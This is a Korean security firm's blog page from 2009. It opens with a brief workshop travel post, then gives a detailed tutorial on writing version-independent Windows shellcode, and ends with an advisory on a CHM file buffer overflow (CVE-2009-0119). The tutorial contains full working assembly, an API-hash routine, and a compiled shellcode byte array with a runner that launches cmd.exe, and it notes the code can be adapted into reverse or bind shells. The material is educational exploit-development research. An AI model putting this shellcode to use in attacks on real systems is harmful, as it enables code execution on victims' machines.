회사에서 과감하게 제주도로 깜짝(?) 워크샵을 갔더랬디요..

비양기 한대를 거의 빌리다시피(?) 해서 새벽부터 영차 영차 제주도에 입성...

멤버 대부분이 제주도를 처음 가본다는...콜록-_-;)..

아래는 OO 약수터라고 했는데 정신없이 올라갔죠



일부 멤버들이 하루방 아찌와 사진 한컷!!!!--찍은 사람이 잘 찍은겨..


일출봉 꼭대기까지 먼저 갔다온 니키와 홍텐  1박 2일~~~(-_-)b



떠나기전 또 등산(?)을...극기훈련이도다.....

▷ 작성자 : Hong10 (hong10@a3sc.co.kr)
▷ 편집자 : 니키 (ngnicky@a3sc.co.kr)

문서 작성일 : 2009년 2월 12일
최종 수정일 : 2009년 2월 12일

Hong10님께서 이번에는 "Windows Universal ShellCode"에 대해 집중 분석을 하였습니다. 긴 내용이지만 한번에 모두 포스팅을 하도록 하겠습니다. 프린터 하셔서 보시면 더욱 효율적이라 생각하네요^^)


I. Windows Universal ShellCode


1. Base Knowlage

일반적으로 작성되는 기초적인 쉘 코드는 유저레벨의 함수 호출을 이용하여 프로그래밍 언어로 제작하여 기계어 코드를 생성 한 뒤 그것을 이용합니다. Nix 류의 OS 에서는 Kernel 과 User 의 경계선이 Shell 의 의해 컨트롤 되어 지며 Windows 보다는 좀더 유연한 Kernel 과 통신이 가능합니다.
그래서 Windows 와 비교해서 쉘 코드 작성시 더욱 간편하며 대부분 시스템 프로그래밍을 이용하여 작성 되어지기 때문에 국가/버전에 제약을 덜 받는 쉘 코드 작성이 가능합니다. 하지만 Windows 에서는 Kernel 과의 통신을 엄격히 OS에서 관리 되어 지고 있으며 Windows 특성상 국가/버전에 따른 메모리 영역 주소가 조금씩 차이가 나며 이것은 쉘 코드 작성함에 있어서 Universal 한 코드의 작성을 어렵게 합니다.
흔히 Milw0rm 에 올라오는 Windows Exploit 코드들을 테스트 하다 보면 정상적으로 실행이 안 되는 대다수의 경우가 테스트 쉘 코드 때문에 그러합니다. 그래서 이 문서에서는 Windows 의 어떠한 버전에서도 실행되는 쉘 코드의 개념을 설명 하려 합니다.

Windows 에서 일반적인 쉘 코드 작성의 문제점은 이러합니다.
먼저 쉘 코드를 만들 때 Windows Api 중 CreateProcess,WinExec Api 를 이용하여 CMD.EXE 를 실행하여 쉘코드를 작성 합니다. 하지만 앞서 애기 했듯이 위에서 언급한 Api는 Kernel32.dll 에 의해 export 되어집니다. 윈도우에서는 Kernel32.dll 가 로드 되는 메모리 주소가 국가/버전 별로 조금씩 차이가 있기 때문에 잘못된 위치를 가르켜 실행이 되지 않습니다.
또한 대부분 Exploit 코드들에서는 Kernel32.dll 이나 ntdll.dll 의 시스템 모듈에서 “jmp esp” , “call esp”의 옵 코드들을 찾아 하드코딩 형태로 작성 되기 때문에 이 또한 실행에 많은 제약이 있습니다.(이것은 윈도우 어플리케이션을 공격 할 시 사용되는 일반적인 방법)

그럼 다음 코드를 통하여 하나씩 Step By Step 하는 형태로 설명 을 나가겠습니다.

 #pragma comment(lib,"psapi.lib")  //컴파일 시 필요한 라이브러리를 로드
//vc 6.0에서 alt+f7을 이용하여 Link 를 세팅하는 것 과 같다.
int main (int argc,char* argv[])
{
HMODULE    hProcessModule[100];
MODULEINFO miModuleInfo;
DWORD      dwReturn;
DWORD      dwModuleNb;
char       BaseName[128];
char       FileName[MAX_PATH];
DWORD      i;

EnumProcessModules(GetCurrentProcess(),hProcessModule,sizeof(hProcessModule),&dwReturn);

dwModuleNb = dwReturn / sizeof(HMODULE);  // 사이즈를 4의 배수만큼 나누어준다.
//그럼 실제 사이즈가 나옴.
for ( i = 0; i < dwModuleNb; i++ )
{
GetModuleBaseName(GetCurrentProcess(),hProcessModule[i],BaseName,sizeof(BaseName));
GetModuleFileName(hProcessModule[i],FileName,sizeof(FileName));
GetModuleInformation(GetCurrentProcess(),hProcessModule[i],&miModuleInfo,sizeof(miModuleInfo));
printf(" Base Name: %s\n",BaseName);
printf(" File Name: %s\n",FileName);
printf(" Load Address: %p\n",miModuleInfo.lpBaseOfDll);
printf(" Size of Image: %08X\n",miModuleInfo.SizeOfImage);
printf(" Entry Point: %p\n\n",miModuleInfo.EntryPoint);
}
while ( !_kbhit() ) ;   // 콘솔에 키 입력이 있는지 조사한다.
return 0;
}


위의 코드는 현재 실행한 프로세서가 로드한 모듈을 리스트로 나타낸 것입니다. 다음은 실행 화면입니다.

 
Windows Kernel 에서는 EPROCESS 라는 구조체로 Kernel Process 를 관리하고 있습니다. 해당 구조체 값 중 우리가 다뤄야 할 부분은 PEB(Process Environment Block)입니다. PEB 은 유저레벨에서 프로세스에 대한 추가적인 정보를 저장하고 있는 구조체 입니다.

PEB의 값 중 LDR 란 구조체는 더블 링크드 리스트 형태로 로드된 모듈에 대한 포인터를 가리키고 있으며 이 리스트를 나타내는 포인터는 모듈이 로드 된 순서, 위치한 순서, 초기화된 순서를 나타내는 3가지 종류의 리스트를 가집니다.

아래와 같이 순서대로 가리키는 구조체 순서를 나타내어 봤습니다.



EPROCESS

+0x1b0 Peb

PEB

+0x00c LDR

LDR

+0x01c InInitializationOrderModulelist : List Entry


다음은 LDR 의 ListEntry의 값입니다
+0x000 Flink(Forward) : Ptr _List_Entry
+0x004 Blink(Backward) : Ptr_ListEntry

다음 코드를 이용하여 각 구조체가 의미하는 값들에 대해 알아 보겠습니다

 void main (int argc,char* argv[])
{
  void* Flink       = NULL;
  void* p           = NULL;
  void* EntryPoint  = NULL;
  void* FullDllName = NULL;
  void* BaseDllName = NULL;
  void* DllBase     = NULL;
  DWORD SizeOfImage = 0;

  // Jump to the first InInitializationOrderModuleList item

  _asm
{
//mov edx,0x7ffdf00C
    //mov edx,DWORD PTR [edx]
    //add edx,0x1C
xor edx,edx
    mov dl,0x30
mov edx,fs:[edx]         //current process of PEB
//mov edx,ds:[edx+0x30]
add edx,0xc               //peb offset 0xc is ldr
//mov edx,0x7ffdf00C       //peb의 ldr,->1c listmodules 초기화된 순서대로..
    mov edx,DWORD PTR [edx]
    add edx,0x1C           //ldr offset 0x1c is initializationorderModulelist 초기화된 순서대로..
    mov Flink,edx
    mov p,edx
  }
  // Loop through the list
  do
  {
    _asm
    {
      mov eax,p

      ; Next Flink

      mov edx,DWORD PTR [eax]
      mov p,edx

      ; DllBase

      mov edx,DWORD PTR [eax+8]
      mov DllBase,edx

      ; Not the first item?

      cmp edx,0
      jne Good

      ; First item

      mov edx,DWORD PTR [eax+0x24+8]
      mov DllBase,edx
      add eax,0x24

    Good:

      mov edx,DWORD PTR [eax+0x0C]
      mov EntryPoint,edx
      mov edx,DWORD PTR [eax+0x10]
      mov SizeOfImage,edx
      mov edx,DWORD PTR [eax+0x18]
      mov FullDllName,edx
      mov edx,DWORD PTR [eax+0x20]
      mov BaseDllName,edx
    }

    wprintf(L" Base Name:     %s\n",BaseDllName);
    wprintf(L" File Name:     %s\n",FullDllName);
    printf(" Load Address:  %p\n",DllBase);
    printf(" Size of Image: %08X\n",SizeOfImage);
    printf(" Entry Point:   %p\n\n",EntryPoint);
  }
  while ( Flink != p );
  while ( !_kbhit() ) ;
}


단 여기서 주의할 점은 첫 이미지 베이스는 현재 current process(exe) 인데 이 값은 다른 모듈 리스트와 별개의 오프셋에 존재를 합니다.

다음은 해당 코드를 VC 6.0 에서 디버깅 하는 화면 입니다.


 
디버깅 도중 현재 프로세서의 PEB 의 LDR 의 값은 0x241ebc 값이며 덤프 된 값은 아래와 같습니다.
00241EBC  58 1F 24 00 20 20 24 00 00 00 00 00 AB AB AB AB  X.$.  $.....カカ
00241ECC  AB AB AB AB 00 00 00 00 00 00 00 00 0D 00 08 00  カカ............
00241EDC  D6 07 18 00 48 1F 24 00 AC 1E 24 00 50 1F 24 00  ....H.$...$.P.$.
00241EEC  B4 1E 24 00 00 00 00 00 00 00 00 00 00 00 40 00  ..$...........@.
00241EFC  D0 16 40 00 00 E0 02 00 70 00 72 00 34 09 02 00  ..@.....p.r.4 ..
00241F0C  1E 00 20 00 86 09 02 00 00 50 00 00 FF FF 00 00  .. .. ...P......

아래는 박스 친 값에 따른 분류표 입니다.

FLink

0x00241F58

BLink

0x00242020

Loading address of the module

0x00400000

Entry point of the module

0x004016D0

Size , In bytes , occupied by the module

0x0002E000

File Name

0x00020934

Base Name

0x00020986



여기서는 총 3 개의 모듈이 로드 되며 0x00242020 에는 kernel32.dll 의 모듈 리스트를 나타 냅니다. 즉 InInitializationOrderModulelist 로 나타내는 모듈 리스트는 current process -> ntdll.dll -> kernel32.dll 로 초기화 되는 모듈 리스트가 정해져 있습니다.

이런한 더블 링크드 리스트는 다음 그림과 같이 표현이 됩니다.


 

또한 InInitializationOrderModulelist 의 값들은 다음과 같이 표현 됩니다. 앞서 설명 과 같이 current process는 약간 다른 예외적 상황임을 알 수 있습니다.

 0x000 Flink                        : LIST_ENTRY
0x004 Blink                        : LIST_ENTRY
0x008 DllBase                     : Ptr32
0x00C EntryPoint                 : Ptr32
0x010 SizeOfImage                 : Uint4B
0x014 FullDllName                 : UNICODE_STRING
0x014 (0x000) Length           : Uint2B
0x016 (0x002) MaximumLength  : Uint2B
0x018 (0x004) Buffer              : Ptr32
0x01C BaseDllName                   : UNICODE_STRING
0x01C (0x000) Length             : Uint2B
0x01E (0x002) MaximumLength  : Uint2B
0x020 (0x004) Buffer              : Ptr32

Universal 한 Windows 쉘 코드 작성에 필요한 값들을 알아 보았습니다. 위와 같은 값을 알 아 본 이유는 쉘 코드 작성시 PEB 을 이용하여 kernel32.dll 의 DllBase를 획득하기 위하여 입니다.
이는 위에서 설명한 kernel32.dll 이 export 하고 있는 API 중 CreateProcess , WinExec를 사용하기 위하여 DllBase를 얻은뒤 export 하고 있는 함수 주소의 offset을 계산한 뒤 호출을 함으로써 국가/버전에 관계없는 universal 한 쉘 코드를 획득 할 수 있습니다.

또한 “Understanding Windows Shellcode” 문서에서 설명하고 있는 것으로 kernel32.dll의 DllBase를 얻는 방법에는 PEB,SEH,TOP STACK 을 이용하는 세가지 방법이 있습니다. 이렇게 kernel32.dll 의 DllBase를 획득한 뒤 EAT(Export Address Table) , IAT(Import Address Table) 의 Offset을 계산 합니다.

Function Name 역시 유일한 값을 얻기 위하여 Hash 알고리즘을 통하여 Hash값을 구한 뒤 비교 구문을 통하여 좀더 안정성 있는 쉘 코드를 구하게 됩니다. 다만 오버헤드가 커진다는 단점이 있는데 이것은 다양한 어셈 코드 연구를 통하여 해커들이 극복해나가야 할 또 다른 과제라고 생각이 되어 집니다.



2. Basic Windows Shell

그럼 다음 코드를 통하여 어떻게 PEB을 통하여 Kernel32.dl 의 DllBase 를 얻는 지와 WinExec 의 Hash 값을 통하여 EAT 의 Function Entry 를 얻는 과정을 설명 하겠습니다.

 #define EMIT_4_LITTLE_ENDIAN(a,b,c,d)   _asm _emit a __asm _emit b __asm _emit c __asm _emit d
int main(int argc, char* argv[])
{
 _asm
 {
universalshell:
 jmp startup_bnc
find_kernel32:
  mov esi,[esp]
  push esi
  xor eax,eax
  mov eax,fs:[eax+0x30]
  test eax,eax
  js find_kernel32_9x
find_kernel32_nt:
  mov eax,[eax+0x0c]
  mov esi,[eax+0x1c]
  lodsd
  mov eax,[eax+0x8]
jmp find_kernel32_finished
find_kernel32_9x:
  mov eax,[eax+0x34]
  lea eax,[eax+0x7c]
  mov eax,[eax+0x3c]
find_kernel32_finished:
  pop esi
  ret
find_function:
  pushad
  mov ebp,[esp+0x24]
  mov eax,[ebp+0x3c]
  mov edx,[ebp+eax+0x78]
  add edx,ebp
  mov ecx,[edx+0x18]
  mov ebx,[edx+0x20]
  add ebx,ebp
find_function_loop:
  jecxz find_function_finished
  dec ecx
  mov esi,[ebx+ecx*4]
  add esi,ebp
compute_hash:
  xor edi,edi
  xor eax,eax
  cld
compute_hash_again:
  lodsb
  test al,al
  jz compute_hash_finished
  ror edi,0xd
  add edi,eax
  jmp compute_hash_again
compute_hash_finished:
find_function_compare:
  cmp edi,[esp+0x28]
  jnz find_function_loop
  mov ebx,[edx+0x24]
  add ebx,ebp
  mov cx,[ebx+2*ecx]
  mov ebx,[edx+0x1c]
  add ebx,ebp
  mov eax,[ebx+4*ecx]
  add eax,ebp
//  mov [esp+0x1c],eax
find_function_finished:
  popad
  ret
startup_bnc:
  jmp startup
resolve_symbols_for_dll:
  lodsd
  push eax
  push edx
  call find_function
  mov [edi],eax
  add esp,0x08
  add edi,0x04
  cmp esi,ecx
  jne resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
  ret
kernel32_symbol_hashes:
  EMIT_4_LITTLE_ENDIAN(0x98,0xfe,0x8a,0x0e)  //WinExec
//  EMIT_4_LITTLE_ENDIAN(0x72,0xfe,0xb3,0x16)  //CreateProcessA
  EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73)  //ExitProcess
startup:
  call find_kernel32
  mov edx,eax
resolve_kernel32_symbols:
  sub esi,0xd
  lea edi,[ebp+0x04]
  mov ecx,esi
  add ecx,0x08
  call resolve_symbols_for_dll
initialize_cmd:
  mov eax,0x646d6300
  sar eax,0x08
  push eax
  mov [ebp+0x34],esp
execute_process:
  xor eax,eax
  mov al,0x0a     
  push eax
  push [ebp+0x34]
//  lea esi,[edi+0x44]
//  push eax
//  push eax
//  push eax
//  push eax
//  push eax
//  inc eax
//  push eax
//  dec eax
//  push eax
//  push eax
//  push [ebp+0x34]
//  push eax
  call [ebp+0x04]
exit_process:
  call [ebp+0x08]
 }
  return 0;
}


위 코드가 앞서 설명한 것을 나타낸 것 입니다. 이것이 Universal 한 쉘 코드의 Basical 한 모습입니다. 여기서 Reverse Shell , Bind Shell , 기타 Dropper 형태의 Shell 등등 응용되어서 만들 수 있습니다.

먼저 kernel32.dll 의 DllBase 을 획득하는 코드 부분을 보시겠습니다.

 find_kernel32:
  mov esi,[esp]  
push esi                 
  xor eax,eax
  mov eax,fs:[eax+0x30]//current process of peb
  test eax,eax
  js find_kernel32_9x
find_kernel32_nt:
  mov eax,[eax+0x0c] //ldr
mov esi,[eax+0x1c] //ininitalizationOrderModuleList
  lodsd//이걸 실행하면 kernel32.dll 의 ldr module
  mov eax,[eax+0x8] //offset 0x8에는 dllbase주소            jmp find_kernel32_finished
find_kernel32_9x:
  mov eax,[eax+0x34]
  lea eax,[eax+0x7c]
  mov eax,[eax+0x3c]
find_kernel32_finished:
  pop esi//call find_kernel32 의 ret address
  ret

코드를 보시면 Windows 9x 버전에도 kernel32.dll 의 DllBase 을 찾을 수 있도록 코딩이 되어 있습니다.

*mov esi ,[esp]

startup: 레이블에서 find_kernel 레이블을 호출 시 리턴 어드레스가 저장 되는데 그 값을 저장 하는 이유는 아래 코드가 리턴 어드레스 위에 값을 가지고 있기 때문에 Offset 을 계산하기 편하기 위해 설정된 값입니다.
 kernel32_symbol_hashes:
  EMIT_4_LITTLE_ENDIAN(0x98,0xfe,0x8a,0x0e)  //WinExec
//  EMIT_4_LITTLE_ENDIAN(0x72,0xfe,0xb3,0x16)  //CreateProcessA
  EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73)  //ExitProcess


다음은 구하고자 하는 Function Name 의 Hash 값을 구해 비교 한 뒤 특정 Stack 에 값을 저장 하는 구문입니다.

 resolve_kernel32_symbols:
  sub esi,0xd//처음 루프문에서는 WinExec의 헥사 값을 가리킨다
  lea edi,[ebp+0x04]//구한hash값을 저장하기 위한 공간
  mov ecx,esi//루프 문 카운터를 위하여 설정하는 값
  add ecx,0x08//예제에서 두개의 함수를 구하므로 4의 배수 값으로 8
  call resolve_symbols_for_dll
resolve_symbols_for_dll:
  lodsd
  push eax
  push edx
  call find_function // 구하고자 하는 함수를 찾기
  mov [edi],eax   //위에서 확보한 ebp+0x4 공간에 구한 함수 주소를 저장
  add esp,0x08   //call find_function으로 인한 스택 복구
  add edi,0x04   //다음 함수 주소를 저장하기 위한 공간
  cmp esi,ecx    //위에서 설정한 루프문의 카운터 값 비교
  jne resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
  ret

위의 코드는 구하고자 하는 function hash 값을 Stack 공간에 저장 하는 루틴입니다. 다음은 예제에서 저장된 함수 의 값의 위치와 값입니다.
 EBP + 0x4  EBP+0x08
 WinExec  ExitProcess


다음 코드는 find_function에 대한 코드입니다.
 find_function:
  pushad
  mov ebp,[esp+0x24] //kernel32.dll의 Image Base 주소
  mov eax,[ebp+0x3c] //PE파일을 나타내는 시그내처
  mov edx,[ebp+eax+0x78]
//IMAGE_EXPORT_DIRECTORY 구조체를 가리키는 RVA
  add edx,ebp
  mov ecx,[edx+0x18] //함수 이름 개수
  mov ebx,[edx+0x20] //익스포트 함수 이름 포인터 테이블
  add ebx,ebp
find_function_loop:
  jecxz find_function_finished
  dec ecx
  mov esi,[ebx+ecx*4]
//이미지베이스+(함수이름갯수-1)*4 , 거꾸로 검색한다.
  add esi,ebp
compute_hash:
  xor edi,edi
  xor eax,eax
  cld
compute_hash_again:
  lodsb
  test al,al
  jz compute_hash_finished
  ror edi,0xd
  add edi,eax
  jmp compute_hash_again
compute_hash_finished:
find_function_compare:
  cmp edi,[esp+0x28]
//거꾸로 찾은 함수 hash 와 구하고자하는 함수 hash(esp+0x24) 비교
  jnz find_function_loop
  mov ebx,[edx+0x24] //익스포트 함수 서수 테이블
  add ebx,ebp
  mov cx,[ebx+2*ecx] //oridinal 값 획득(2바이트 배열로 존재 +base)
  mov ebx,[edx+0x1c] //익스포트 함수 포인터 테이블
  add ebx,ebp
  mov eax,[ebx+4*ecx]//function 의 주소를 얻음
  add eax,ebp
//  mov [esp+0x1c],eax
find_function_finished:
  popad
  ret


*mov edx,[ebp+eax+0x78]
현재 ebp 에는 kernel32.dll 의 DllBase(0x7c800000) 주소를 가지고 있습니다.거기에 3c 오프셋 에는 PE 파일 시그내처 을 나타내는 주소 값 입니다.이 주소 값 에서 0x78 만큼 떨어 진 곳에는 IMAGE_EXPORT_DIRECTORY 구조체를 가리키는 RVA(2c26) 값이 담겨 있습니다.

다음 4바이트는 사이즈를 나타내는 값 입니다. 다음은 메모리 덤프 한 값입니다.


7C8000F0   50 45 00 00 4C 01 04 00 CE C0 02 48 00 00 00 00  PE..L  .括 H....
7C800100   00 00 00 00 E0 00 0E 21 0B 01 07 0A 00 32 08 00  ....?
7C800110   00 84 0A 00 00 00 00 00 3E B6 00 00 00 10 00 00  .?.....>?.. ..
7C800120   00 00 08 00 00 00 80 7C 00 10 00 00 00 02 00 00  .. ...€|. ... ..
7C800130   05 00 01 00 05 00 01 00 04 00 00 00 00 00 00 00   . . . . .......
7C800140   00 00 13 00 00 04 00 00 BC DF 12 00 03 00 00 00  .. .. ..솬 . ...
7C800150   00 00 04 00 00 10 00 00 00 00 10 00 00 10 00 00  .. .. .... .. ..
7C800160   00 00 00 00 10 00 00 00 2C 26 00 00 FD 6C 00 00  .... ...,&..?..

0x7c8000f0 값이 PE 시그내처 을 나타내는 값 입니다.
● VitaulAddress 0x00002c26
● Size        0x00006cfd
*add edx,ebp
실제 주소 번지(가상 주소) = 이미지 로드 시작 번지(DllBase) + RVA

즉 해당 코드를 실행 하면 EXPORT 구조체를 가리키는 실제 주소 번지에 값을 알 수 있습니다.


*mov ecx,[edx+0x18]

함수 이름의 개수를 ecx에 넣습니다.


*mov ebx,[edx+0x20]

익스포트 함수 이름 테이블 포인터 을 ebx에 넣습니다.

위에서 0x7c802c26 값이 IMAGE_EXPORT_DIRECTORY 구조체를 가리킨다고 했습니다. 해당 주소에서 메모리 덤프를  값을 살펴 보면 다음과 같습니다.

7C80262C   00 00 00 00 E1 5B 02 48 00 00 00 00 8E 4B 00 00  ....? H....랯..
7C80263C   01 00 00 00 B9 03 00 00 B9 03 00 00 54 26 00 00   ...?..?..T&..
7C80264C   38 35 00 00 1C 44 00 00 D4 A6 00 00 05 55 03 00  85.. D..濤.. U .

위에서 보시는 대로 박스 친 필드 값을 상세히 나타내면 다음 과 같습니다

필드

(RVA)

의미

Characteristics

0x00000000

의미 없다.

TimeDateStamp

0x41110216

시간 스탬프

Version

0x00000000

의미 없다.

Name

0x00004b8e

DLL 이름

Base

0x00000001

서수의 시작 번호

NumberOfFunctions

0x000003b9

함수 개수

NumberOfNames

0x000003b9

함수 이름 개수

AddressOfFunctions

0x00002654

익스포트 함수 포인터 테이블

AddressOfNames

0x00003538

익스포트 함수 이름 포인터 테이블

AddressOfNamesOrdinals

0x0000441c

익스포트 함수 서수 테이블

*cmp edi,[esp+0x28]
[esp+0x28]에는 원래 구하고자 하는 function hash 가 있으며 edi 는 루프 문을 통한 hash 값과 비교 하고 있다.

*ebx,[edx+0x24]

위 루프 문에서 찾고자 하는 hash 값을 얻었다면 해당 function 의 실제 주소를 찾아야 한다. 그때 필요한 것은 익스포트 함수 서수 테이블 입니다. 위 표에서 알 수 있듯이 0x0000441c (RVA)오프셋 위치에 존재 합니다.

*mov cx,[ebx+2*ecx]

ecx 값은 위에서 함수 이름 개수 만큼 loop를 돌면서 감소 하는 카운터 입니다. Ebx는 현재 익스포트 함수 서수 테이블을 가리키며 서수 값은 총 2바이트 이므로 찾은 함수의 서수 값을 알 수 있습니다.

*mov ebx,[edx+0x1c]

위에서 함수 서수를 구하였으므로 그 값을 바탕으로 실제 함수가 구현된 주소 값 을 찾을 수 있습니다. 그러기 위해선 우선 익스포트 함수 포인터 테이블을 ebx에 담습니다.

*mov eax,[ebx+4*ecx]

찾고자 하는 함수 주소 값 을 eax에 담습니다.

이와 같은 과정을 LoadPe 라는 툴 을 이용하여 살펴 보면 다음과 같습니다.



*Ordinal이 서수를 뜻합니다.
위 코드 중에 빠진 설명이 있는 데 그것은 바로 hash 값을 구하는 알고리즘 입니다.

그렇게 복잡한 건 없지만 다음 코드를 통해 위 코드에서 사용되고 있는 hash 알고리즘에 대해 알아 보겠습니다.


 int main(int argc, char *argv[]) {
 unsigned long pFunctionName;

 if(argc != 2) {
  printf("Usage : %s <Function_Name>\n", argv[0]);
  exit(0);
 }
 pFunctionName = argv[1];
 _asm {
  pushad
 compute_hash:
  xor  edi, edi
  xor  eax, eax
  mov  esi, pFunctionName
  cld
 compute_hash_again:
  lodsb
  test al, al
  jz  compute_hash_finished
  ror  edi, 0xd
  add  edi, eax
  jmp  compute_hash_again
 compute_hash_finished:
  mov pFunctionName, edi
  popad
 }
 printf("%s ==[hash]==> 0x%08x\n", argv[1], pFunctionName);
 return 0;
}


아래는 WinExec 라는 문자열을 이용하여 실행한 결과 입니다.
 


결과 값은 Univesal 쉘 코드 작성 시 사용된 Hash 값과 동일 한 것을 알 수 있습니다. 해당 알고리즘 루틴은 한 바이트씩 값을 구하여 (“Winexec” 가 예라면 ‘W’값부터)eax레지스터에 저장합니다. 그리고 edi 레지스터를 0xd 만큼 ror 을 한다음 그 값을 eax와 더한 뒤 다시 test al,al 을 통하여 ‘\00’ 값이 들어올 때까지 루프를 돌게 됩니다.

이와 마찬가지로 Universal 쉘 코드 를 구하는 코드에서 함수 를 검색할 때 마다 hash 값을 구해서 구하고 자 하는 hash 값을 비교 하여 획득 할 수 있습니다.

 initialize_cmd:
  mov eax,0x646d6300
  sar eax,0x08
  push eax
  mov [ebp+0x34],esp
execute_process:
  xor eax,eax
  mov al,0x0a
  push eax
  push [ebp+0x34]
  call [ebp+0x04] //WinExec
exit_process:
  call [ebp+0x08] //ExiteProcess

위 코드는 Winexec 에 필요한 “CMD” 문자를 설정 하여 주는 것 과 실제 적으로 쉘 을 띄우는 역할을 수행하게 됩니다.
*sar eax,0x08
0x646d6300 은 문자로 ‘mdc’ 을 나타냅니다. Little-Endian 이므로 sar 을 통하여 0x00646d63 을 수행 함으로 결국에는 Winexec 에 필요한 인자 값으로 “CMD” 을 의미합니다.

다음은 작성한 Univesal 한 쉘 코드의 기계어 코드를 수행하는 화면입니다.(Realse 모드로 컴파일 하여 기계어 코드를 뽑아 냅니다.)

 char shellcode[]=
"\x55\x8B\xEC\x53\x56\x57\xEB\x73\x8B\x34\x24\x56\x33\xC0\x64\x8B"
"\x40\x30\x85\xC0\x78\x0C\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x40\x08"
"\xEB\x09\x8B\x40\x34\x8D\x40\x7C\x8B\x40\x3C\x5E\xC3\x60\x8B\x6C"
"\x24\x24\x8B\x45\x3C\x8B\x54\x05\x78\x03\xD5\x8B\x4A\x18\x8B\x5A"
"\x20\x03\xDD\xE3\x34\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xFC"
"\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x28"
"\x75\xE1\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD"
"\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\xC3\xEB\x1D\xAD\x50\x52"
"\xE8\xA8\xFF\xFF\xFF\x89\x07\x83\xC4\x08\x83\xC7\x04\x3B\xF1\x75"
"\xEC\xC3\x98\xFE\x8A\x0E\x7E\xD8\xE2\x73\xE8\x69\xFF\xFF\xFF\x8B"
"\xD0\x83\xEE\x0D\x8D\x7D\x04\x8B\xCE\x83\xC1\x0C\xE8\xCC\xFF\xFF"
"\xFF\xB8\x00\x63\x6D\x64\xC1\xF8\x08\x50\x89\x65\x34\x33\xC0\xB0"
"\x0A\x50\xFF\x75\x34\xFF\x55\x04\xFF\x55\x08\x5F\x5E\x33\xC0\x5B"
"\x5D\xC3";

int main(int argc, char *argv[])
{
 int *code;
 code=(int *)shellcode;
 __asm
 {
  jmp code;
 }
 
 return 0;
}



앞으로 더 추가될 좋은 내용을 기대해 보시기 바랍니다^^)..편집만 30분이 걸렸습니다--GG


Copyright(c) 1998-2009 A3 Security ,LTD


Disclaimer
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.

MS Windows CHM File Processing Buffer Overflow

취약점 분석/2009년 이후 2009. 2. 10. 16:30 Posted by 알 수 없는 사용자

▷ 작성자 : InPire(aramlee@a3sc.co.kr)
▷ 편집자 : 니키 (ngnicky@a3sc.co.kr)

 


MS Windows CHM File Processing Buffer Overflow

취약점 보안 권고안




1. 요 약

CHM 파일은 HTML문서와 이미지, 자바스크립트 등을 하나의 파일로 모아 HTML로 컴파일된, MS Windows 플랫폼에서 사용되는 도움말 파일이다. 이 취약점은 CHM파일을 실행할 때 발생하는 버퍼오버플로우로 DoS가 발생한다.

2. 대상시스템
이 취약점은 MS Windows XP Service Pack 3 에서 적용된다.

3. 심각도 및 취약점 확인

취약점 영향

MS Windows CHM File Processing Buffer Overflow

원격 버퍼 오버플로우



Ⅱ. 취약점 세부 분석

1. 취약점 내용
취약점 분석은 아래 URL의 POC로 분석하였다.

http://www.milw0rm.org/exploits/7720

POC를 실행하여 만들어진 chm파일을 더블클릭하여 실행하면 다음과 같은 오류메시지가 뜬다.

[그림 1] Windows CHM 파일 실행 오류


윈도우에서 CHM 파일을 로딩할 때, itss.dll을 로딩한다. itss.dll은 Microsoft 저장 시스템에 의해 사용되는 함수를 담은 파일이다. 이 itss.dll의 “TEST [ECX], EAX” 부분에서 취약점이 존재한다. 이 때,  ECX의 값은 40964이며, 0x40964의 위치을 찾을 수 없기 때문에 액세스 위반으로 인한 오버플로우가 발생한다.

[그림 2] 버퍼오버플로우 발생지점


2. 공격 분석

CHM 파일 포맷은 다음과 같다.

The Header

0000

ITSF(Info-Tech Storage Format)

 

0004

버전

3

0008

전체 헤더 길이

96 bytes

000C

unknown

1

0010

A Time stamp

 

0014

윈도우 언어 ID (Big-endian)

English

(Ireland)

 

0018

GUID

 

0028

GUID

 

The Header Section Table

0000

파일이 시작하는 부분부터의 오프셋

 

0008

섹션의 길이

 

Additional header data

0000

파일안에 콘텐츠 섹션의 오프셋

 

Header Section 0

0000

$01FE. Unknown(Big-Endian)

 

0004

unknown

0

0008

파일 크기

 

0010

Unknown

0

0014

Unknown

0

 

Header Section 1 : The Directory Listing

0000

ITSP

 

0004

버전

1

0008

Directory header 길이

 

0010

unknown

$0a

0014

“Density” of quickref section

 

0018

Depth of the index tree

 

001C

Chunk number of root index chunk

 

0020

Chunk number of first PMGL chunk

 

0024

Chunk number of last PMGL chunk

 

0028

unknown

-1

002C

디렉토리 chunk

 

0030

윈도우 언어 ID

 

0034

GUID

 

0044

길이

$54

0048

Unknown

-1

004C

Unknown

-1

0050

unknown

-1

표 1 CHM File Format



익스플로잇에 삽입된 기계어코드를 파일 포맷에 따라 분석하여보면, Header Section 1에서 ITSP, 버전을 제외한 값은 모두 \x41로 채워져 있다. 아래 그림에서 붉은 글씨 부분이 Header Section 1부분이다.

[그림 3] 익스플로잇에 삽입된 기계어코드


Header Section 1 부분에 엉뚱한 코드를 넣어 ECX값을 변조하여 [ECX]를 액세스 할 수 없게 만든다.

3. 위험 분석
Header Section 1에 이상한 코드가 삽입된 CHM파일을 실행할 때, [ECX]의 위치를 액세스할 수 없어 오버플로우로 인해 DoS가 발생한다.


Ⅲ. 대응 방안


1. 보안 대책

현재 패치가 없는 상태이기 때문에, 의심스러운 도움말파일(CHM 파일)은 열지 않아야 한다.

패치는 헤더값을 읽어올 때 데이터 변환과정의 알고리즘을 패치하는 방법으로 이루어질 것이라고 예상된다.


2.  관련 사이트
본 취약점에 대한 추가적인 정보를 확인할 수 있는 관련 사이트는 다음과 같다.

CVE-2009-0119
Bugtraq Id: 33204
http://www.milw0rm.org
http://www.securityfocus.com/bid/33204



